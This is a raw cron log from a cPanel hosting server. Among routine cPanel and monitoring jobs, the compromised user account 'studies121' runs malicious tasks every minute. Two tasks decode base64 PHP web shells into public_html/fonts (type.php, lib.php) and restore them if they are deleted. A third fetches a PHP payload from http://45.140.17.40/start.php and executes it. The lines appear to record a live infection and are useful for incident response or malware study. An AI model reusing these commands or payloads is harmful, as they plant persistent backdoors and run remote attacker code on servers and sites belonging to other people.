Sep 21 17:46:01 ip-184-168-122-23 CROND[21977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:46:01 ip-184-168-122-23 CROND[21979]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 21 17:46:01 ip-184-168-122-23 CROND[21980]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 17:47:01 ip-184-168-122-23 CROND[22114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:47:01 ip-184-168-122-23 CROND[22115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:47:02 ip-184-168-122-23 CROND[22118]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:47:02 ip-184-168-122-23 CROND[22121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:48:01 ip-184-168-122-23 CROND[22294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:48:01 ip-184-168-122-23 CROND[22297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:48:01 ip-184-168-122-23 CROND[22295]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:48:01 ip-184-168-122-23 CROND[22299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:48:01 ip-184-168-122-23 CROND[22296]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 17:49:01 ip-184-168-122-23 CROND[22426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:49:01 ip-184-168-122-23 CROND[22428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:49:01 ip-184-168-122-23 CROND[22427]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:49:01 ip-184-168-122-23 CROND[22429]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:50:01 ip-184-168-122-23 CROND[22557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:50:01 ip-184-168-122-23 CROND[22558]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 17:50:01 ip-184-168-122-23 CROND[22559]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 17:50:01 ip-184-168-122-23 CROND[22563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:50:01 ip-184-168-122-23 CROND[22567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:50:01 ip-184-168-122-23 CROND[22568]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:50:01 ip-184-168-122-23 CROND[22565]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 17:50:01 ip-184-168-122-23 CROND[22566]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 17:50:01 ip-184-168-122-23 CROND[22570]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 17:51:01 ip-184-168-122-23 CROND[22696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:51:01 ip-184-168-122-23 CROND[22699]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:51:01 ip-184-168-122-23 CROND[22700]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:51:01 ip-184-168-122-23 CROND[22703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:52:01 ip-184-168-122-23 CROND[22838]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:52:01 ip-184-168-122-23 CROND[22841]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 17:52:01 ip-184-168-122-23 CROND[22842]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:52:01 ip-184-168-122-23 CROND[22840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:52:01 ip-184-168-122-23 CROND[22843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:53:01 ip-184-168-122-23 CROND[23054]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:53:01 ip-184-168-122-23 CROND[23053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:53:01 ip-184-168-122-23 CROND[23055]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:53:01 ip-184-168-122-23 CROND[23056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:54:01 ip-184-168-122-23 CROND[23200]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:54:01 ip-184-168-122-23 CROND[23204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:54:01 ip-184-168-122-23 CROND[23203]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:54:01 ip-184-168-122-23 CROND[23205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:54:01 ip-184-168-122-23 CROND[23202]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 17:55:02 ip-184-168-122-23 CROND[23319]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:55:02 ip-184-168-122-23 CROND[23323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:55:02 ip-184-168-122-23 CROND[23324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:55:02 ip-184-168-122-23 CROND[23325]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 17:55:02 ip-184-168-122-23 CROND[23326]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 17:55:02 ip-184-168-122-23 CROND[23330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:56:01 ip-184-168-122-23 CROND[23434]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:56:01 ip-184-168-122-23 CROND[23437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:56:01 ip-184-168-122-23 CROND[23438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:56:01 ip-184-168-122-23 CROND[23435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:56:01 ip-184-168-122-23 CROND[23436]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 17:57:02 ip-184-168-122-23 CROND[23549]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:57:02 ip-184-168-122-23 CROND[23551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:57:02 ip-184-168-122-23 CROND[23550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:57:02 ip-184-168-122-23 CROND[23552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:58:01 ip-184-168-122-23 CROND[23764]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:58:01 ip-184-168-122-23 CROND[23767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:58:01 ip-184-168-122-23 CROND[23768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:58:01 ip-184-168-122-23 CROND[23766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
